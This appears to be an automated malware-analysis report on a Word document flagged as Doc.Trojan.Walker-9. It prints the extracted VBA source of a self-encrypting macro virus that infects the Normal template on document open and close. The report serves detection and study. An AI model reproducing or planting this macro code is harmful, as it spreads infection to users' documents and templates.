Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a3d7901b5b10051…

MALICIOUS

Office (OLE)

57.5 KB Created: 2008-06-01 20:45:00 Authoring application: Microsoft Word 11.3.5 First seen: 2019-09-30
MD5: 0e7592b1634b312a26ef018172f27941 SHA-1: 270148b919460b8f1aaec3f64cca2545af66f0a7 SHA-256: 8a3d7901b5b1005199a32e656b72c8eb8828ea3e56b8b96f561a7a8a5e864b61
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro appears to be obfuscated and attempts to manipulate the document's code modules. While the document body discusses Earth's history, the presence of the macro and the ClamAV detection strongly suggest malicious intent, likely to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Walker-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.scotese.com/earth.htm In document text (OLE body)
    • http://www.carlwozniak.com/earth/In document text (OLE body)
    • http://www.ucmp.berkeley.edu/help/timeform.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3158 bytes
SHA-256: 5692724c97d05d81e38caa61c7441362b9aa5212bf9d785721ddf5ecd96a7379
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True









































'Sattelite v1.0
'Document
Private Function encr(s, k As Integer)
Dim r: r = "": For f = 1 To Len(s): r = r + Chr((Asc(Mid$(s, f, 1))) Xor k): Next: encr = r
End Function
Private Sub Document_Open()
On Error Resume Next: W = 0: CH = Word.ActiveDocument.Characters.Count: Kar = "'" + Str(CH)
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Iam: .ReplaceLine 101, Kar: Z = .CountOfLines - 27: For x = 63 To Z:
If W = 20 Then W = 0
decrypt = .Lines(x, 1): W = W + 2: Y = Len(decrypt): Y = Y - 1: decrypt = Right$(decrypt, Y): .ReplaceLine x + 20, encr(decrypt, (W)): Next x: End With
Call ThisDoc: Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule: Flag = 0: GoTo Over
Again: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule: Flag = 1
Over:
With Iam: For x = 83 To 100: .ReplaceLine x, "'": Next x: End With
If Flag = 0 Then GoTo Again
End Sub
Private Sub ThisDoc()
'
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'Yo~*Ki~Ikxxcox*7*Ki~c|oNei god~$\HZxe`oi~$\HIegzedod~y";#$IenoGen fo
'_ix,Bc~aOm~~ei~,1,Bc~am`Xia|`mxi"ZN\~cfiox"ZNOca|cbibx $=%"OchiAchy`i
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'O`&HitkOhurgjjcb&;&Rtsc&Ghb&GerOhurgjjcb&;&Rtsc&Rnch&C~or&Usd
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End Sub
Private Sub Document_Close()
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1): CH = Word.ActiveDocument.Characters.Count: Kar = "'" + Str(CH)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule:
Kar2 = Iam.Lines(101, 1): Iam.ReplaceLine 101, "'": NormalTemplate.Save: If Kar = Kar2 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

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